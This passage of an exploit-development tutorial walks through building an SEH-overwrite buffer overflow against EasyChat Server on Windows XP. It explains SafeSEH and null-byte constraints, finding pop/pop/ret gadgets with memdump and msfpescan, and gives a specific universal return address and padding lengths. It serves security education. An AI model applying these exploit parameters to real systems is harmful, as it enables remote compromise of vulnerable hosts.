In Windows XP SP2 a modified version of SEH was implemented called SafeSEH. The key difference with SafeSEH is that the pointers for the Exception Handler are verified in a system list before they are called. This means that if the executable module we found in OllyDBG has SafeSEH turned on, we will not be able to use a pop/pop/ret address from that module. Using the Olly plugin called OllySSEH determine if SafeSEH is on or not. I created a Windows XP SP2 host and installed EasyChat Server on this host to illustrate this. Below shows the results from the OllySSEH plugin for SP2.

This shows that most of the windows executable modules have SafeSEH enabled. Also modules WSOCK32.dll, winrnr.dll, and rasadhpl.dll system modules do not support SEH. This means we will not be able to utilize any pop/pop/ret addresses from these modules either. It appears that only the EasyChat modules EasyChat.exe, SSLEAY32.dll, and LIBEAY32.dll support SEH and has SafeSEH turned off. We will need to find a pop/pop/ret from one of those three modules.

To make things more difficult, we must use an address that will not contain a hex 00. When a hex 00 is passed in a string, this will act as a null terminator for the string. For example, if our exploit string was 414141414100424242. The hex 42's would be cut off when the system processes the string since the 00 is interpreted as end-of-string. Looking at the diagram on the next page for the list of executable modules from OllyDBG for SP2, we see that the EasyChat module EasyChat.exe has an Entry address of 0x00442993. Since 00 is in the address, we will not be able to use this module. Likewise, module LIBEAY32.dll has an Entry of 0x003A8833. It too will not be usable. This then leaves us with only the SSLEAY32.dll module to find a useful pop/pop/ret. We can see that if SafeSEH is supported and enabled, our task of finding a usable pop/pop/ret address becomes much more challenging.

Finding a useable POP, POP, RET in WinXP SP2

From the previous discussion we found that in SP2 the only useable executable module that may contain a pop,pop,ret would be in SSLEAY32.dll. The task now is to attempt to see if it actually has one. Since this is a custom DLL that was supplied with EasyChat and not a Windows system file, Metasploit will not have this in their online database to search from. We are going to need to find this on our own.

Fortunately there are several tools available to perform a memory dump which can be used for analysis. Metasploit version 2.7 for Linux has a Windows utility called memdump.exe which was created for this very task. The newer version (3.2) which uses Ruby does not seem to include this utility in the Windows installer. To make use of this utility, we need to start EasyChat without Olly attached to it. We then find the process ID (PID) of EasyChat in Windows using something like the command tasklist from the command prompt. Once we have the PID, we call memdump as follows:

memdump pid [dump directory]

The dump directory is optional, but it is recommended to specify one since the utility will create multiple files related to the memory dump and an index file to catalog them all. So, it's a good idea to create a dump directory specifically for the output files to go into. Once memdump is complete, we then need to run another utility supplied by Metasploit called msfpescan which can be used to find pop/pop/ret sequences among other things from a memory dump. The msfpescan utility is designed to run under a Linux platform. So, we will either need to move our dump files over to another system where this can be ran or install something like Cygwin which provides a Linux-like environment for Windows. The syntax for msfpescan is a little different depending on what version of Metasploit you are using.

For framework 2, the following syntax should be used. The "-d" flag means to search a directory and the parameter <dump_directory> should be the directory that contains your dump files captured from memdump. The flag "-s" tells the utility to search for pop/pop/ret sequences.

msfpescan -d <dump_directory> -s

For framework 3, the following syntax should be used. The "-M" flag means to search a directory and the parameter <dump_directoy> should be the directory that contains your dump files captured from memdump. The flag "-p" tells the utility to search for pop/pop/ret sequences.

msfpescan -p -M <dump_directory>

Once msfpescan has competed the search, it will return a list of pop/pop/ret addresses it found. Since this covers addresses from all the executable modules loaded, we will need to search through the output to find one that exists in the range that the SSLEAY32.dll module is loaded in. Looking at a few lines of the output, we can see that the results will look something like:

0x71a66e1d pop ebx; pop esi; ret
0x71a672d9 pop edi; pop esi; ret
0x71a676e2 pop esi; pop ebp; retn 0x0004
0x71a67a7b pop ebx; pop ebp; retn 0x0008

From the Executable modules list on the previous page, we know the SSLEAY32.dll has an entry address of 0x1001B90A. We should be able to perform a search operation with the grep utility to find some viable addresses based on this. We can also direct the output of msfpescan to a file so that grep can easily be used. By default, grep is case sensitive. So, we will either need to change the search to match the case we want or use the case-insensitive flag "-i" with grep. This may look something like:

msfpescan -p -M memfiles > ppr.txt
grep -i "0x1001B" ppr.txt

This returns the follows results:

0x1001b1db pop ebx; pop ecx; ret
0x1001b1fc pop ebp; pop ebx; ret
0x1001b272 pop ebp; pop ebx; ret
0x1001b295 pop edi; pop esi; ret
0x1001b2b6 pop edi; pop esi; ret
0x1001b2e1 pop edi; pop esi; ret
0x1001b9a2 pop ebx; pop ebp; retn 0x000c

In theory, most of any of these should work for us. Let's chose to use the first in the list of address 0x1001b1db as the pop/pop/ret address in SSLEAY32.dll. We should now be able to simply use this address in our previous script to attack EasyChat on a WinXP SP2 English host. As it turns out, we also have to adjust the initial padding of 216 A's to 218 A's to properly align the pop/pop/ret address to where the Exception Handler would reside. With those two modifications, our exploit should be ready.

Exploiting Other Versions of Windows

At this point, it should be fairly clear that by installing EasyChat Server on different Windows platforms and service releases we can customize an exploit for each one. In the WinXP SP1 English exploit we chose a pop/pop/ret from the Windows system ws2help.dll module. However, this was not an option due to SafeSEH on SP2. So, we instead chose a pop/pop/ret addess from the EasyChat SSLEAY32.dll module. It would actually be best to use the address from SSLEAY32.dll for both SP1 and SP2. This is because that DLL file is written by the manufacture of EasyChat and will not change between different flavors of Windows. Additionally, Windows will generally load this module with the same base address which means our address will stay consistent across different Windows service releases. This is generally referred to as a universal pop/pop/ret since it is somewhat independent of the Operating System.

If you run through the same exercise on Windows XP SP3 English, you should find that the same buffer pad of 216 A's are used just like in SP1. Additionally, you should see that using the universal pop/pop/ret address of 0x1001b1db from SSLEAY32.dll will provide a functional exploit in English Windows XP SP1, SP2, and SP3. This means the only adjustment needed is the initial buffer padding for alignment.